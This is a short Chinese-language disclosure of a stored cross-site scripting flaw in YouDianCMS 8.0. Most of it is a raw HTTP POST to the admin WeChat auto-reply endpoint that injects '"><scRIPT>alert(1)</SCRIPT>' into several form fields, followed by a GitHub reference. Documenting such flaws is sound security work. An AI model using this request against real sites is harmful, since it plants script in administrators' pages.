YouDianCMS 8.0 Storeage XSS¶
一、漏洞简介¶
二、漏洞影响¶
YouDianCMS 8.0
三、复现过程¶
POST /index.php/Admin/wx/saveSubscribeReply HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: application/json, text/javascript, /; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Referer: http://0-sec.org/index.php/Admin/Wx/subscribereply/l/en/random/1560696407129 X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------17443203555821 Content-Length: 2207 DNT: 1 Connection: close Cookie: PHPSESSID=bkv171om25ji6a51t7dql010h2; youdianAdminLangSet=en; CKFinder_Path=Files%3A%2F%3A1; CKFinder_Settings=TNNDS; youdianMenuTopID=15 -----------------------------17443203555821 Content-Disposition: form-data; name="ReplyID" 1 -----------------------------17443203555821 Content-Disposition: form-data; name="TypeID" 1 -----------------------------17443203555821 Content-Disposition: form-data; name="a1" "><scRIPT>alert(1)</SCRIPT> -----------------------------17443203555821 Content-Disposition: form-data; name="a2" 2 -----------------------------17443203555821 Content-Disposition: form-data; name="a3" 1 -----------------------------17443203555821 Content-Disposition: form-data; name="a4" "><scRIPT>alert(1)</SCRIPT> -----------------------------17443203555821 Content-Disposition: form-data; name="a5" 1 -----------------------------17443203555821 Content-Disposition: form-data; name="a6" -----------------------------17443203555821 Content-Disposition: form-data; name="musicfile" -----------------------------17443203555821 Content-Disposition: form-data; name="a11" -----------------------------17443203555821 Content-Disposition: form-data; name="a12" 1 -----------------------------17443203555821 Content-Disposition: form-data; name="a13" -----------------------------17443203555821 Content-Disposition: form-data; name="a14" -----------------------------17443203555821 Content-Disposition: form-data; name="a15" "><scRIPT>alert(1)</SCRIPT> -----------------------------17443203555821 Content-Disposition: form-data; name="a16" 1 -----------------------------17443203555821 Content-Disposition: form-data; name="a7" 2 -----------------------------17443203555821 Content-Disposition: form-data; name="a8" 2,大转盘 -----------------------------17443203555821 Content-Disposition: form-data; name="a10" -----------------------------17443203555821 Content-Disposition: form-data; name="a9" "><scRIPT>alert(1)</SCRIPT> -----------------------------17443203555821 Content-Disposition: form-data; name="IsEnable" 1 -----------------------------17443203555821 Content-Disposition: form-data; name="hash" 19b37a0a1054dfd209b9a17c704027f3_db90bddc24f4e98592b355e2cbbca612 -----------------------------17443203555821--
该漏洞触发的位置在"微信平台"-"自动回复"-"跟踪自动回复"的"微信短信"中，最后点击保存触发。
四、参考链接¶
https://github.com/ReboOt68/youdiancms8.0-StoreageXSS-POC/issues/2